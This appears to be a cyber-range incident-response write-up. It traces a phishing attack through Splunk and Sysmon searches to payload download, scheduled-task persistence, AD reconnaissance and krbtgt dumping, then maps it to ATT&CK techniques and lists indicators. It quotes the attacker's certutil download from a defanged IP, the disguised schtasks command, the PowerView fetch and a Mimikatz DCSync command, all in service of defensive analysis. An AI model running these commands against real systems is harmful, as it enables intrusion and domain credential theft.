An employee opened a malicious Invoice document, enabling macros and triggering a full attack chain. Starting from an initial phishing foothold, the attacker used certutil to pull down a payload, established persistence via a scheduled task disguised as a Microsoft Teams update, performed AD reconnaissance with PowerView, then dumped domain credentials using Mimikatz DCSync targeting the krbtgt account.
Searching across all indexes for activity related to the Invoice document:
index=* "invoice"
Sysmon logs show the Invoice document was opened from the Downloads directory, with a Trusted Documents registry entry confirming the user enabled macros. The file was downloaded from:
139[.]59[.]21[.]147:8080

Following macro execution, the attacker used certutil.exe to pull down a secondary payload — a classic LOLBAS technique to bypass download restrictions:
cmd.exe /c certutil -urlcache -split -f "hxxp[://]24[.]199[.]117[.]142:1337/svchost.exe" "C:\Windows\Temp\svchost.exe"
The file was saved to C:\Windows\Temp\svchost.exe — masquerading as a legitimate Windows process name.

All malicious activity traces back to domain user CYBERRANGE\ricksanchez.
Filtering Sysmon process creation events for ricksanchez and schtasks:
index=* User="CYBERRANGE\\ricksanchez" "schtasks.exe"
The attacker created a scheduled task set to run at logon, launching the previously dropped svchost.exe from Temp:
schtasks.exe /create /tn "Microsoft Teams Updater" /sc onlogon /tr C:\Windows\Temp\svchost.exe
Task name Microsoft Teams Updater — designed to blend in with legitimate Microsoft software. T1053.005.

Searching for PowerShell script execution under ricksanchez:
bash
index=* User="CYBERRANGE\\ricksanchez" ".ps1"
The attacker pulled PowerView directly from the PowerSploit GitHub repo using certutil:
certutil.exe -urlcache -f https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 PowerView.ps1
PowerView is the go-to AD enumeration script — used here to map the domain prior to credential dumping. T1059.001.

The same .ps1 search surfaced Mimikatz execution. The attacker ran Invoke-Mimikatz with the DCSync module targeting the krbtgt account:
powershell.exe . .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -Command '"lsadump::dcsync /domain:CYBERRANGE.local /user:krbtgt"'
DCSync (T1003.006) impersonates a domain controller and requests password replication — dumping the krbtgt hash without ever touching LSASS directly. With krbtgt compromised, the attacker has everything needed for a Golden Ticket attack.

| Tactic | Technique | Description |
|---|---|---|
| Initial Access | T1566.001 | Phishing — malicious Invoice document |
| Execution | T1059.001 | PowerShell — macro execution, PowerView, Mimikatz |
| Defense Evasion | T1036.005 | Masquerading — svchost.exe in C:\Windows\Temp |
| Defense Evasion | T1140 | Deobfuscate/Decode — certutil -urlcache download |
| Persistence | T1053.005 | Scheduled Task — Microsoft Teams Updater |
| Discovery | T1482 | Domain Trust Discovery — PowerView |
| Discovery | T1069.002 | Domain Groups — PowerView AD enumeration |
| Credential Access | T1003.006 | DCSync — krbtgt hash via Mimikatz |
| Command & Control | T1105 | Ingress Tool Transfer — certutil payload delivery |
| Type | Value |
|---|---|
| IP | 139[.]59[.]21[.]147 |
| IP | 24[.]199[.]117[.]142 |
| URL | hxxp[://]139[.]59[.]21[.]147:8080 |
| URL | hxxp[://]24[.]199[.]117[.]142:1337/svchost.exe |
| File | C:\Windows\Temp\svchost.exe |
| File | C:\Windows\Temp\PowerView.ps1 |
| File | C:\Windows\Temp\Invoke-Mimikatz.ps1 |
| Scheduled Task | Microsoft Teams Updater |
| Domain User | CYBERRANGE\ricksanchez |